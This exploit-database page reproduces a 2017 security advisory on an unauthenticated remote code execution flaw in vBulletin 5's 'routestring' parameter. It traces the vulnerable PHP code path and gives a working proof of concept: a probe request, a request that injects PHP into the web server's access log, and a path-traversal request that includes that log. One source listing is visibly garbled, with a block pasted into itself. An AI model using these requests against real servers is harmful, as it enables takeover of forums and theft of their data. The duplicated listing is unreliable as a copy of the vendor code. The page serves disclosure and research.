Menu

Search for hundreds of thousands of exploits

"vBulletin 5 - 'routestring' Remote Code Execution"

Author

Exploit author

SecuriTeam

Platform

Exploit platform

multiple

Release date

Exploit published date

2017-12-13

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
# SSD Advisory – vBulletin routestring Unauthenticated Remote Code Execution
Source: https://blogs.securiteam.com/index.php/archives/3569

## Vulnerability Summary
The following advisory describes a unauthenticated file inclusion vulnerability that leads to remote code execution found in vBulletin version 5.

vBulletin, also known as vB, is a widespread proprietary Internet forum software package developed by vBulletin Solutions, Inc., based on PHP and MySQL database server. vBulletin powers many of the largest social sites on the web, with over 100,000 sites built on it, including Fortune 500 and Alexa Top 1M companies websites and forums. According to the latest W3Techs1 statistics, vBulletin version 4 holds more than 55% of the vBulletin market share, while version 3 and 5 divide the remaining percentage

## Credit
An independent security researcher has reported this vulnerability to Beyond Securitys SecuriTeam Secure Disclosure program

## Vendor response
We tried to contact vBulletin since November 21 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerabilities.

## Vulnerability details
vBulletin contains a vulnerability that can allow a remote attacker to include any file from the vBulletin server and execute arbitrary PHP code.

An unauthenticated user is able to send a GET request to /index.php which can then trigger the file inclusion vulnerability with parameter routestring=.

The request allows an attacker to create a crafted request to Vbulletin server installed on Windows OS and include any file on the web server.

**Listing of /index.php:**

```
/* 48 */ $app = vB5_Frontend_Application::init('config.php');
/* 49 */ //todo, move this back so we can catch notices in the startup code. For now, we can set the value in the php.ini
/* 50 */ //file to catch these situations.
/* 51 */ // We report all errors here because we have to make Application Notice free
/* 52 */ error_reporting(E_ALL | E_STRICT);
/* 53 */  
/* 54 */ $config = vB5_Config::instance();
/* 55 */ if (!$config->report_all_php_errors) {
/* 56 */  // Note that E_STRICT became part of E_ALL in PHP 5.4
/* 57 */  error_reporting(E_ALL & ~(E_NOTICE | E_STRICT));
/* 58 */ }
/* 59 */  
/* 60 */ $routing = $app->getRouter();
/* 61 */ $method = $routing->getAction();
/* 62 */ $template = $routing->getTemplate();
/* 63 */ $class = $routing->getControllerClass();
/* 64 */  
/* 65 */ if (!class_exists($class))
/* 66 */ {
/* 67 */  // @todo - this needs a proper error message
/* 68 */  die("Couldn't find controller file for $class");
/* 69 */ }
/* 70 */  
/* 71 */ vB5_Frontend_ExplainQueries::initialize();
/* 72 */ $c = new $class($template);
/* 73 */  
/* 74 */ call_user_func_array(array(&$c, $method), $routing->getArguments());
/* 75 */  
/* 76 */ vB5_Frontend_ExplainQueries::finish();
```

**Lets take a closer look on vB5_Frontend_Application::init()  Listing of /includes/vb5/frontend/application.php:**

```
/* 15 */   public static function init($configFile)
/* 16 */    {
/* 17 */       parent::init($configFile);
/* 18 */    
/* 19 */       self::$instance = new vB5_Frontend_Application();
/* 20 */       self::$instance->router = new vB5_Frontend_Routing();
/* 21 */       self::$instance->router->setRoutes();
/* ... */
```

We can see that setRoutes() is called:

**Listing of /includes/vb5/frontend/routing.php:**

```
/* 47 */      public function setRoutes()            
/* 48 */      {            
/* 49 */         $this->processQueryString();        
/* 50 */                  
/* 51 */         //TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it        
/* 52 */         //$path = isset($_SERVER['PATH_INFO']) ? $_SERVER['PATH_INFO'] : '';        
/* 53 */                  
/* 54 */         if (isset($_GET['routestring']))        
/* 55 */         {        
/* 56 */            $path = $_GET['routestring'];      
/* ... */                  
/* 73 */         }        
/* 74 */                  
/* 75 */         if (strlen($path) AND $path{0} == '/')        
/* 76 */         {        
/* 77 */            $path = substr($path, 1);      
/* 78 */         }        
/* 79 */                  
/* 80 */         //If there is an invalid image, js, or css request we wind up here. We can't process any of them        
/* 81 */         if (strlen($path) > 2 )        
/* 82 */         {        
/* 83 */            $ext = strtolower(substr($path, -4)) ;      
/* 84 */            if (($ext == /* 47 */      public function setRoutes()            
/* 48 */      {            
/* 49 */         $this->processQueryString();        
/* 50 */                  
/* 51 */         //TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it        
/* 52 */         //$path = isset($_SERVER['PATH_INFO']) ? $_SERVER['PATH_INFO'] : '';        
/* 53 */                  
/* 54 */         if (isset($_GET['routestring']))        
/* 55 */         {        
/* 56 */            $path = $_GET['routestring'];      
/* ... */                  
/* 73 */         }        
/* 74 */                  
/* 75 */         if (strlen($path) AND $path{0} == '/')        
/* 76 */         {        
/* 77 */            $path = substr($path, 1);      
/* 78 */         }        
/* 79 */                  
/* 80 */         //If there is an invalid image, js, or css request we wind up here. We can't process any of them        
/* 81 */         if (strlen($path) > 2 )        
/* 82 */         {        
/* 83 */            $ext = strtolower(substr($path, -4)) ;      
/* 84 */            if (($ext == '.gif') OR ($ext == '.png') OR ($ext == '.jpg') OR ($ext == '.css')      
/* 85 */               OR (strtolower(substr($path, -3)) == '.js') )  
/* 86 */            {      
/* 87 */               header("HTTP/1.0 404 Not Found");  
/* 88 */               die('');  
/* 89 */            }      
/* 90 */         }        
/* 91 */                  
/* 92 */         try        
/* 93 */         {        
/* 94 */            $message = ''; // Start with no error.      
/* 95 */            $route = Api_InterfaceAbstract::instance()->callApi('route', 'getRoute', array('pathInfo' => $path, 'queryString' => $_SERVER['QUERY_STRING']));      
/* 96 */         }        
/* 97 */         catch (Exception $e)        
/* 98 */         {        
/* ... */                  
/* 106 */         }        
/* ... */                  
/* 127 */         if (!empty($route))        
/* 128 */         {        
/* ... */                  
/* 188 */         }        
/* 189 */         else        
/* 190 */         {        
/* 191 */            // if no route was matched, try to parse route as /controller/method      
/* 192 */            $stripped_path = preg_replace('/[^a-z0-9\/-_.]+/i', '', trim(strval($path), '/'));      
/* ... */  
/* 229 */         }        
/* 230 */                  
/* 231 */         //this could be a legacy file that we need to proxy.  The relay controller will handle        
/* 232 */         //cases where this is not a valid file.  Only handle files in the "root directory".  We'll        
/* 233 */         //handle deeper paths via more standard routes.        
/* 234 */         if (strpos($path, '/') === false)        
/* 235 */         {        
/* 236 */            $this->controller = 'relay';      
/* 237 */            $this->action = 'legacy';      
/* 238 */            $this->template = '';      
/* 239 */            $this->arguments = array($path);      
/* 240 */            $this->queryParameters = array();      
/* 241 */            return;      
/* 242 */         }        
/* 243 */                  
/* 244 */         vB5_ApplicationAbstract::checkState();        
/* 245 */                  
/* 246 */         throw new vB5_Exception_404("invalid_page_url");        
/* 247 */      }   ) )  
/* 86 */            {      
/* 87 */               header("HTTP/1.0 404 Not Found");  
/* 88 */               die('');  
/* 89 */            }      
/* 90 */         }        
/* 92 */         try        
/* 93 */         {        
/* 94 */            $message = ''; // Start with no error.      
/* 95 */            $route = Api_InterfaceAbstract::instance()->callApi('route', 'getRoute', array('pathInfo' => $path, 'queryString' => $_SERVER['QUERY_STRING']));      
/* 96 */         }        
/* 97 */         catch (Exception $e)        
/* 98 */         {        
/* ... */                  
/* 106 */         }        
/* ... */                  
/* 127 */         if (!empty($route))        
/* 128 */         {        
/* ... */                  
/* 188 */         }        
/* 189 */         else        
/* 190 */         {        
/* 191 */            // if no route was matched, try to parse route as /controller/method      
/* 192 */            $stripped_path = preg_replace('/[^a-z0-9\/-_.]+/i', '', trim(strval($path), '/'));      
/* ... */  
/* 229 */         }        
/* 230 */                  
/* 231 */         //this could be a legacy file that we need to proxy.  The relay controller will handle        
/* 232 */         //cases where this is not a valid file.  Only handle files in the "root directory".  We'll        
/* 233 */         //handle deeper paths via more standard routes.        
/* 234 */         if (strpos($path, '/') === false)        
/* 235 */         {        
/* 236 */            $this->controller = 'relay';      
/* 237 */            $this->action = 'legacy';      
/* 238 */            $this->template = '';      
/* 239 */            $this->arguments = array($path);      
/* 240 */            $this->queryParameters = array();      
/* 241 */            return;      
/* 242 */         }        
/*  */    
```

So if our routestring does not end with .gif, .png, .jpg, .css or .js and does not contain / char vBulletin will call legacy() method from vB5_Frontend_Controller_Relay  /includes/vb5/frontend/controller/relay.php:

```
/* 63 */   public function legacy($file)
/* 64 */   {
/* 65 */      $api = Api_InterfaceAbstract::instance();
/* 66 */      $api->relay($file);
/* 67 */   }
```

If we will check relay() from Api_Interface_Collapsed class – /include/api/interface/collapsed.php:

```
/* 117 */   public function relay($file)
/* 118 */   {
/* 119 */      $filePath = vB5_Config::instance()->core_path . '/' . $file;
/* 120 */      
/* 121 */      if ($file AND file_exists($filePath))
/* 122 */      {
/* 123 */         //hack because the admincp/modcp files won't return so the remaining processing in
/* 124 */         //index.php won't take place.  If we better integrate the admincp into the
/* 125 */         //frontend, we can (and should) remove this.
/* 126 */         vB_Shutdown::instance()->add(array('vB5_Frontend_ExplainQueries', 'finish'));
/* 127 */         require_once($filePath);
/* 128 */      }
/* ... */
```

As we could see an attacker is not able to use / in the $file so he cannot change current directory on Linux. But for Windows he can use \ as path delimiter and is able to specify any desired file (he can use \..\ trick as well) and it will be included by php.

![](https://blogs.securiteam.com/wp-content/uploads/2017/12/vBulletin-125x300.jpg)

If we want to include file with extension like .gif, .png, .jpg, .css or .js we will need to bypass the mentioned check in setRoutes() method. This can be easily done by adding dot (.) or space (%20) to the filename.

## Proof of Concept
We can check if the server is vulnerable by sending the following GET request:

```
/index.php?routestring=.\\
```

If the response is:

![](https://blogs.securiteam.com/wp-content/uploads/2017/12/vBulletin-1-300x60.png)

The server is vulnerable.

If we want to inject a php code to any file on the server we can use the access.log for example:

```
/?LogINJ_START=<?php phpinfo();?>LogINJ_END
```

After that we can include access.log with our PHP code:

```
/index.php?routestring=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\xampp\\apache\\logs\\access.log
```

![](https://blogs.securiteam.com/wp-content/uploads/2017/12/vBulletin-2-300x89.jpg)
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Expense Management System - 'description' Stored Cross Site Scripting" webapps multiple "Nikhil Kumar"
2020-12-02 "Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting" webapps multiple "Parshwa Bhavsar"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Under Construction Page with CPanel 1.0 - SQL injection" webapps multiple "Mayur Parmar"
Release Date Title Type Platform Author
2018-10-04 "Cisco Prime Infrastructure - Unauthenticated Remote Code Execution" remote multiple SecuriTeam
2018-04-30 "Linux Kernel < 4.17-rc1 - 'AF_LLC' Double Free" dos linux SecuriTeam
2018-01-30 "Hotspot Shield - Information Disclosure" local windows SecuriTeam
2018-01-29 "iBall WRA150N - Multiple Vulnerabilities" webapps hardware SecuriTeam
2018-01-24 "Oracle VirtualBox < 5.1.30 / < 5.2-rc1 - Guest to Host Escape" local multiple SecuriTeam
2018-01-15 "GitStack - Remote Code Execution" webapps php SecuriTeam
2018-01-11 "Seagate Personal Cloud - Multiple Vulnerabilities" remote hardware SecuriTeam
2017-12-26 "Trustwave SWG 11.8.0.27 - SSH Unauthorized Access" remote linux SecuriTeam
2017-12-19 "Ichano AtHome IP Cameras - Multiple Vulnerabilities" remote hardware SecuriTeam
2017-12-13 "vBulletin 5 - 'routestring' Remote Code Execution" webapps multiple SecuriTeam
2017-12-13 "vBulletin 5 - 'cacheTemplates' Remote Arbitrary File Deletion" webapps multiple SecuriTeam
2017-12-06 "Dasan Networks GPON ONT WiFi Router H640X 12.02-01121 / 2.77p1-1124 / 3.03p2-1146 - Remote Code Execution" webapps hardware SecuriTeam
2017-11-28 "Synology StorageManager 5.2 - Root Remote Command Execution" webapps cgi SecuriTeam
2017-11-23 "Linux Kernel (Ubuntu 17.04) - 'XFRM' Local Privilege Escalation" local linux SecuriTeam
2017-11-21 "DblTek - Multiple Vulnerabilities" webapps linux SecuriTeam
2017-11-07 "Ametys CMS 4.0.2 - Password Reset" webapps php SecuriTeam
2017-11-03 "GraphicsMagick - Memory Disclosure / Heap Overflow" dos multiple SecuriTeam
2017-11-01 "Cisco UCS Platform Emulator 3.1(2ePE1) - Remote Code Execution" remote linux SecuriTeam
2017-10-23 "K7 Total Security 15.1.0.305 - Device Driver Arbitrary Memory Read" dos windows SecuriTeam
2017-10-17 "Linux Kernel - 'AF_PACKET' Use-After-Free" dos linux SecuriTeam
2017-10-17 "Linux Kernel - 'AF_PACKET' Use-After-Free" dos linux SecuriTeam
2017-10-16 "Ikraus Anti Virus 2.16.7 - Remote Code Execution" remote windows SecuriTeam
2017-10-13 "FiberHome - Directory Traversal" webapps linux SecuriTeam
2017-10-09 "QNAP HelpDesk < 1.1.12 - SQL Injection" webapps php SecuriTeam
2017-10-09 "PHP Melody 2.7.3 - Multiple Vulnerabilities" webapps php SecuriTeam
2017-09-11 "Hanbanggaoke IP Camera - Arbitrary Password Change" webapps hardware SecuriTeam
2017-09-07 "McAfee LiveSafe 16.0.3 - Man In The Middle Registry Modification Leading to Remote Command Execution" webapps hardware SecuriTeam
2017-08-30 "Oracle Java JDK/JRE < 1.8.0.131 / Apache Xerces 2.11.0 - 'PDF/Docx' Server Side Denial of Service" dos php SecuriTeam
2017-08-03 "Tiandy IP Cameras 5.56.17.120 - Sensitive Information Disclosure" webapps hardware SecuriTeam
2017-08-03 "Horde Groupware 5.2.21 - Unauthorized File Download" webapps php SecuriTeam
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.